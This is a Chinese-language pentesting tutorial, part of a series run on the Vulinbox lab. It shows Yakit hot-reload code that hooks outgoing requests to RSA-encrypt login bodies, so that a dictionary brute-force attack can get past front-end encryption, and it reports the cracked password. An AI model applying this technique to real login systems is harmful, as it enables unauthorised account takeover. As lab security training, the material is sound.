本文是高级前端加解密与验签实战的第5篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过前端RSA加密来爆破登录。
分析
generateKey
函数用来生成随机的RSA公私钥
加密的格式如下:
{"username":"admin","password":"123456","age":"20"}
对数据进行RSA加密,请求包格式:
热加载
这是本人写的Yakit热加载代码,通过beforeRequest
hook请求包,调用encrypt
函数进行加密,最终实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。
encrypt = (packet) => {
//生成RSA密钥
publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
//base64编码
publicKeyBase64 = codec.EncodeBase64(publicKey)
privateKeyBase64 = codec.EncodeBase64(privateKey)
body = poc.GetHTTPPacketBody(packet)
data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
data = codec.EncodeBase64(data)
//处理换行符
publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
privateKey = str.ReplaceAll(privateKey, "\n", r"\n")
//构造请求体
body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encrypt(req)
}
效果:
使用字典爆破,爆破成功,可以看到密码为admin123。
没有回复内容